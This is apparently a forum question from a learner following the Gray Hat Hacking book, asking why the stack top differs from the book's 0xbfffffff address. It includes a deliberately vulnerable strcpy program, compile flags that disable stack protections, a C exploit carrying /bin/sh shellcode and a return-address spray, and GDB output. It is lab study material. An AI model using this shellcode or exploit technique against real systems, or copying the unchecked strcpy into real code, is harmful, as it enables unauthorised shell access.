title: Finding the start of the stack for a buffer overflow
body: <p>According to the book, Gray Hat Hacking, "all Linux ELF files are mapped into memory with the last relative address as 0xbfffffff". By subtracting 4 NULL bytes, the length of the filename and the length of the shellcode from this address, it should apparently be possible to set the return address in the exploited buffer to that of the environment variable. </p>
  
  <p>However, upon attempting this, it seems to me that in my 64-bit Linux testing environment (<strong>ASLR disabled</strong>) that the stack starts not at 0xbffffff, but at 0xffffdfff. </p>
  
  <p>Why does my stack start at a different address to that in the book? This isn't about ALSR, as the address does not change every time, but I want to know why my addresses start at 0xffffdfff instead of the address in the book. Ideas?</p>
  
  <p>Here is the vulnerable buffer:</p>
  
  <pre><code>#include &lt;string.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  void main(int argc, char *argv[]) {
      char buffer[10];
      printf("Vulnerable program has loaded...");
      fflush(stdout);
      strcpy(buffer, argv[1]);
  }
  </code></pre>
  
  <p>Compiler options:</p>
  
  <pre><code>gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c
  </code></pre>
  
  <p>And here is the exploit code:</p>
  
  <pre><code>#include &lt;unistd.h&gt; 
  #include &lt;stdlib.h&gt; 
  #include &lt;stdio.h&gt; 
  #include &lt;string.h&gt; 
  #define FILENAME "./vulnerable_buffer_small" 
  #define SIZE 80  
  char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
  void main(int argc, char *argv[]) { 
      char *environment[] = {shellcode, NULL}; 
      char buffer[SIZE]; 
      char *parameters[] = {FILENAME, buffer, NULL}; 
      int *pointer, i, address; 
      address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); 
      pointer = (int *) (buffer + 2);; 
      for (i = 0; i &lt; SIZE; i += 4) { 
          *pointer++ = address; 
      }   
      printf("Using address: 0x%X\n", address); 
      execle(parameters[0], (char*) parameters, environment); 
      exit(1); 
  }
  </code></pre>
  
  <p>I tried to find the address of the first environment variable in the vulnerable program with GDB, but without success:</p>
  
  <pre><code>(gdb) x/s *environ
  *lines removed for clarity*
  0xffffdfb5: "DISPLAY=:1"
  (gdb) 
  0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
  (gdb) 
  0xffffdff8: ""
  (gdb) 
  0xffffdff9: ""
  (gdb) 
  0xffffdffa: ""
  (gdb) 
  0xffffdffb: ""
  (gdb) 
  0xffffdffc: ""
  (gdb) 
  0xffffdffd: ""
  (gdb) 
  0xffffdffe: ""
  (gdb) 
  0xffffdfff: ""
  (gdb) 
  0xffffe000: &lt;error: Cannot access memory at address 0xffffe000&gt;
  </code></pre>
  
  <p>Can anybody explain what I've missed here? </p>